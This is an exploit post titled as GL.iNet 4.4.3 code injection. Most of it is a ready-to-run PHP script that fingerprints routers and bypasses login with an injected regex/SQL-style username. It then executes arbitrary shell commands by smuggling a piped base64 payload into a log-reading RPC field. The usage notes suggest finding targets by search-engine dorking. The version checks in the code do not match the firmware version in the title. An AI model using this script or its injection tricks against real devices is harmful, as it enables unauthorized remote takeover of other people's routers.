GL.iNet 4.4.3 Code Injection

`=============================================================================================================================================  
| # Title : GL.iNet network 4.4.3 Code Injection Vulnerability |  
| # Author : indoushka |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.2 (64 bits) |  
| # Vendor : https://www.gl-inet.com/ |  
=============================================================================================================================================  
  
POC :  
  
[+] Dorking İn Google Or Other Search Enggine.  
  
[+] uses the CURL to Allow remote command .  
  
[+] Line 158 set your target .  
  
[+] save code as poc.php .  
  
[+] USage : cmd => c:\www\test\php poc.php   
  
[+] PayLoad :  
  
<?php  
  
class GlinetExploit  
{  
private $targetUri;  
private $sid;  
private $glinet;  
  
public function __construct($targetUri)  
{  
$this->targetUri = $targetUri;  
$this->glinet = [  
'model' => null,  
'firmware' => null,  
'arch' => null  
];  
}  
  
private function send_request($method, $uri, $data = null, $headers = [])  
{  
$ch = curl_init();  
  
$options = [  
CURLOPT_URL => $this->targetUri . $uri,  
CURLOPT_RETURNTRANSFER => true,  
CURLOPT_CUSTOMREQUEST => $method  
];  
  
if ($data) {  
$options[CURLOPT_POSTFIELDS] = $data;  
$headers[] = 'Content-Type: application/json';  
}  
  
curl_setopt_array($ch, $options);  
$response = curl_exec($ch);  
curl_close($ch);  
  
return $response ? json_decode($response, true) : null;  
}  
  
public function check_vuln_version()  
{  
$postData = json_encode([  
'jsonrpc' => '2.0',  
'id' => rand(1000, 9999),  
'method' => 'call',  
'params' => ['', 'ui', 'check_initialized', []]  
]);  
  
$res = $this->send_request('POST', '/rpc', $postData);  
if ($res && isset($res['result'])) {  
$this->glinet['model'] = $res['result']['model'];  
$this->glinet['firmware'] = $res['result']['firmware_version'];  
}  
  
// Check for vulnerable models and firmware  
switch ($this->glinet['model']) {  
case 'sft1200':  
$this->glinet['arch'] = 'mipsle';  
return version_compare($this->glinet['firmware'], '4.3.6', '==');  
case 'ar750':  
case 'ar750s':  
$this->glinet['arch'] = 'mipsbe';  
return version_compare($this->glinet['firmware'], '4.3.7', '==');  
// Add more cases as per your requirement  
}  
  
return false;  
}  
  
public function auth_bypass()  
{  
if (!empty($this->sid)) {  
return $this->sid;  
}  
  
$postData = json_encode([  
'jsonrpc' => '2.0',  
'id' => rand(1000, 9999),  
'method' => 'challenge',  
'params' => ['username' => 'root']  
]);  
  
$res = $this->send_request('POST', '/rpc', $postData);  
  
if ($res && isset($res['result']['nonce'])) {  
$nonce = $res['result']['nonce'];  
  
$username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+";  
$pw = '0';  
$hash = md5("$username:$pw:$nonce");  
  
$postData = json_encode([  
'jsonrpc' => '2.0',  
'id' => rand(1000, 9999),  
'method' => 'login',  
'params' => [  
'username' => $username,  
'hash' => $hash  
]  
]);  
  
$res = $this->send_request('POST', '/rpc', $postData);  
  
if ($res && isset($res['result']['sid'])) {  
$this->sid = $res['result']['sid'];  
return $this->sid;  
}  
}  
  
return null;  
}  
  
public function execute_command($cmd)  
{  
$payload = base64_encode($cmd);  
$cmd = "echo {$payload}|openssl enc -base64 -d -A|sh";  
  
$postData = json_encode([  
'jsonrpc' => '2.0',  
'id' => rand(1000, 9999),  
'method' => 'call',  
'params' => [  
$this->sid,  
'logread',  
'get_system_log',  
['lines' => '', 'module' => "|{$cmd}"]  
]  
]);  
  
return $this->send_request('POST', '/rpc', $postData, ['Admin-Token: ' . $this->sid]);  
}  
  
public function check()  
{  
if ($this->check_vuln_version()) {  
return "Vulnerable: {$this->glinet['model']} | {$this->glinet['firmware']} | {$this->glinet['arch']}";  
}  
  
return 'Not Vulnerable';  
}  
  
public function exploit($command)  
{  
$this->sid = $this->auth_bypass();  
  
if ($this->sid) {  
echo "SID: {$this->sid}\n";  
echo "Executing: {$command}\n";  
$this->execute_command($command);  
} else {  
echo "Authentication bypass failed.\n";  
}  
}  
}  
  
// Usage  
$exploit = new GlinetExploit('https://target-url');  
$exploit->exploit('ls');  
  
  
  
Greetings to :=====================================================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|  
===================================================================================================  
`